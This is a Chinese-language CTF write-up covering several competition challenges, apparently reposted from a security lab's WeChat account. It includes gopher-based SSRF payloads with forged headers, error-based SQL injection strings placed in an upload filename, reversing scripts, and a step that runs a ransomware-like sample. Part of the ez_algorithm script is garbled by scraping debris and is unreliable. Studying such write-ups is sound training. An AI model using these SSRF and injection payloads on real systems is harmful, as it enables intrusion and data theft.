前言
昨天参加了“第二届网刃杯”,题目还是比较有意思的,但是比较难受的是,有的题目就很有感觉,然而却木有flag,附件也都保存了,随后其余的题目再补充吧。
易捷
混子题
104asdu contains "flag"
flag{e45y_1eci04}
sign_in(签到?)
可别说是签到了,比下面的plc做着都花时间,上面那个才是签到吧。
代码审计,看到函数curl_xxxx就可以断定是ssrf,首先探测到内网的ip地址,得到ip地址就开始表演。
payload
http://124.220.9.19:20003/?url=172.73.26.100
http://124.220.9.19:20003/?url=172.73.26.100?a=1
http://124.220.9.19:20003/?url=172.73.26.100?a=12&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3
构造包内容加入字段 x-forwarded-for:127.0.0.1
http://124.220.9.19:20003/?url=172.73.26.100?a=12&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3
继续添加字段,payload如下
http://124.220.9.19:20003/?url=172.73.26.100?a=1&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3
得到flag
flag{Have_A_GoOd_T1m3!!!!!!}
upload
进入网站后是个文件上传点传统思路:上传图片,抓包,修改后缀为php,上传,要求文件类型为ctf。
然后访问了一下,发现文件不解析。尝试上传pht,phtml
等文件,均能上传成功,但是都被注释了。最后看了一下题目提示:sql yyds
重新上传php文件,然后文件后缀处加单引号。发包发现返回内容有sql报错,思路确定:sql注入,注入点为文件名。
然后查数据库
1.php' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and '1'='1
常规思路,查表:
1.php' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) and '1'='1
但是查不出来,分析发现数据库的连接符被做了强制转换。到这里就卡住了,一直在想如何进行绕过,可是没有什么办法是能绕过数据库的连接符的。后来突然想到要不就蒙一个,flag表,flag字段。结果……
1.php' and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1)) and '1'='1
直接出了
但是报错注入最多显示32位,长度有限制,于是用分片读取:
1.php' and updatexml(1,mid(concat(1,(select group_concat(flag)from flag)),1,33),1) and '1'='1
然后读取后几位:
1.php' and updatexml(1,mid(concat(1,(select group_concat(flag)from flag)),33,60),1) and '1'='1
两段拼接一起即可拿到flag
flag{5937a0b90b5966939cccd369291c68aa}
carefulguy
没啥意思
tcp contains "flag"
追踪tcp流
流36有这个
追踪到流1的时候,66对应的ascall码为102就是f
666c61677b7034757333313576337279316e7433726573746963397d
https://coding.tools/cn/hex-to-ascii
Re_freestyle
上脚本爆破拿到所有可能
#include <stdio.h>
int smallestRepunitDivByK(int K) {
if(K%2==0||K%5==0)
return -1;
int r=0;
for(int N=1;N<=K;N++)
{
r=(r*10+1)%K;
if(r==0)
return N;
}
return -1;
}
int main(){
for(int i = 0; i < 0x1000; i++){
if ( 4 * (3 * i / 9 - 9) == 4400 ){
printf("%dn", i);
// printf("%dn",smallestRepunitDivByK(i));
}
}
for(int i = 0; i < 0x1000; i++){
if ( 2 * (i % 56) == 98 ){
// printf("%dn",smallestRepunitDivByK(i));
printf("%dn", i);
}
}
}
提示去最小的那个数,组合md5尝试flag
md5(3327105)
flag{31a364d51abd0c8304106c16779d83b1}
Re_function
不能反编译,附件一个是主逻辑,另一个是魔改base64编码,通过阅读汇编得知就是个亦或0x37,之后进行魔改base64编码。根据程序1中的字符串先异或后解码,脚本如下
# coding=utf-8
__author__ = 'Ggoodstudy'
cmpstr = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
import base64
stt = [0x64, 0x71, 0x54, 0x54, 0x64, 0x78, 0x74, 0x78, 0x64, 0x41,
0x40, 0x48, 0x70, 0x6D, 0x18, 0x4A, 0x41, 0x78, 0x66, 0x72,
0x41, 0x78, 0x5E, 0x4E, 0x5D, 0x52, 0x0E, 0x3D]
flag = ''
for i in range(0, len(stt)):
if i%2 == 0:
flag += chr(stt[i] ^ 0x37)
continue
# flag += chr(stt[i] - i)
flag += chr(stt[i])
print flag
# SqcTSxCxSAwHGm/JvxQrvxiNjR9=
s = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"
# inputs为bytes类型,return string
def My_base64_encode(inputs):
bin_str = []
for i in inputs:
x = str(bin(i)).replace('0b', '')
# x = str(bin(ord(i))).replace('0b', '') # inputs为string
bin_str.append('{:0>8}'.format(x))
outputs = ""
nums = 0
while bin_str:
#每次取三个字符的二进制
temp_list = bin_str[:3]
if(len(temp_list) != 3):
nums = 3 - len(temp_list)
while len(temp_list) < 3:
temp_list += ['0' * 8]
temp_str = "".join(temp_list)
# print(temp_str)
# 将三个8字节的二进制转换为4个十进制
temp_str_list = []
for i in range(0,4):
temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))
#print(temp_str_list)
if nums:
temp_str_list = temp_str_list[0:4 - nums]
for i in temp_str_list:
outputs += s[i]
bin_str = bin_str[3:]
outputs += nums * '='
print("Encrypted String:n%s "%outputs)
return outputs
# inputs为string类型 return string
def My_base64_decode(inputs):
# 将字符串转化为2进制
bin_str = []
for i in inputs:
if i != '=':
x = str(bin(s.index(i))).replace('0b', '')
bin_str.append('{:0>6}'.format(x))
#print(bin_str)
outputs = ""
nums = inputs.count('=')
while bin_str:
temp_list = bin_str[:4]
temp_str = "".join(temp_list)
#print(temp_str)
if(len(temp_str) % 8 != 0):
temp_str = temp_str[0:-1 * nums * 2]
for i in range(0,int(len(temp_str) / 8)):
outputs += chr(int(temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]
print("Decrypted String:n%s "%outputs)
return outputs
str2 = "SqcTSxCxSAwHGm/JvxQrvxiNjR9="
My_base64_decode(str2)
ez_algorithm
类似rot13的加密一层一层加密, 套了一层又一层,直接逆向推回去即可,脚本如下
# coding=utf-8
__author__ = 'Ggoodstudy'
finalcmpstr = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'
data2 ='ckagevdxizblqnwtmsrpufyhoj'
data3 = 'TMQZWKGOIAGLBYHPCRJSUXEVND'
def enc3(s):
tmp = s
if (tmp > 64 and tmp <= 70) or (tmp > 96 and tmp <= 102):
tmp = tmp + 20
elif (tmp > 84 and tmp <= 90) or (tmp > 116 and tmp <= 122):
tmp = tmp - 20
elif tmp > 71 and tmp <= 77 or tmp > 103 and tmp <= 109:
tmp = tmp + 6
elif tmp > 77 and tmp <= 83 or tmp > 109 and tmp <= 115:
tmp = tmp - 6
elif tmp == 71 or tmp == 103:
tmp = tmp + 13
elif tmp == 84 or tmp == 116:
tmp = tmp - 13
elif tmp > 47 and tmp <= 57:
tmp = 105 - tmp
return tmp
def enc2(s):
if s > 64 and s <= 90:
s = s+32
elif s > 96 and s <= 122:
s = s-32
elif s > 47 and s < 58:
s = s
return s
# print enc2(72)
def enc1(input):
flag = ''
v18 = 0
# input = list('B')
print(v18)
for s in range(len(input)):
if input
展开收缩>64 and input展开收缩< 91:if v18%4==0:
flag += chr(data2.find(chr(enc2(enc3(input
展开收缩))))+97)elif v18%4==1:
flag +=chr(data2.find(chr(enc2(enc3(input
展开收缩))))+97)elif v18%4==2:
flag +=chr((data2.find(chr(enc2(enc3(input
展开收缩))))^2)+97)elif v18%4==3:
flag +=chr(data2.find(chr(enc2(enc3(input
展开收缩))))+97-3)elif input
展开收缩> 96 and input展开收缩< 123:if v18%4==0:
flag += chr(data3.find(chr(enc2(enc3(input
展开收缩))))+65)elif v18%4==1:
flag +=chr(data3.find(chr(enc2(enc3(input
展开收缩))))+65-1)elif v18%4==2:
print(data3.find(chr(enc2(enc3(input
展开收缩)))))flag +=chr((data3.find(chr(enc2(enc3(input
展开收缩))))&3)/v18+65)elif v18%4==3:
flag +=chr((data3.find(chr(enc2(enc3(input
展开收缩))))^3)+65)elif input
展开收缩> 47 and input展开收缩< 58:flag +=chr(enc2(enc3(input
展开收缩)))elif input
展开收缩== 35 or input展开收缩==43 or input展开收缩==38 or input展开收缩==42 or input展开收缩==63 or input展开收缩==36:flag += '_'
else:
flag += chr(input
展开收缩)v18 += 1
return flag
ddd = []
for i in finalcmpstr:
ddd.append(ord(i))
print(enc1(ddd))
拿到flag
flag{w3Lc0mE_t0_3NcrYPti0N:}
定时启动
定时启动事件09:09:09,文件是个病毒,会将同目录下的文件名改为.Wncry
,根据提示需要在09:09:09分启动。将本地时间改为09:09:09即可。
date -s 09:09:09 && ./squid
flag{c4c728s9ccbc87e4b5ce2f}
喜欢移动的黑客
被唬住了,脚本都用不着,,,,,,,,,,,,差评
打开流量包发现无法打开,使用file命令确定是流量包文件,但是需要修改文件头,之后打开,题目的提示很关键,提示转速超过10000
工控协议呗,直接搜索
modbus
刚开始以为直接搜索字段为大于1w的转速包但是没有结果,往下看读数据的数据包注意到了
因为这里270f十六进制转换为十进制的时候为9999,但是在2766的数据包的时候为10086
所以这里的flag并不唯一。
flag{1008668156}
flag{1008668158}
原文始发于微信公众号(星海安全实验室):第二届“网刃杯”网络安全大赛部分WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论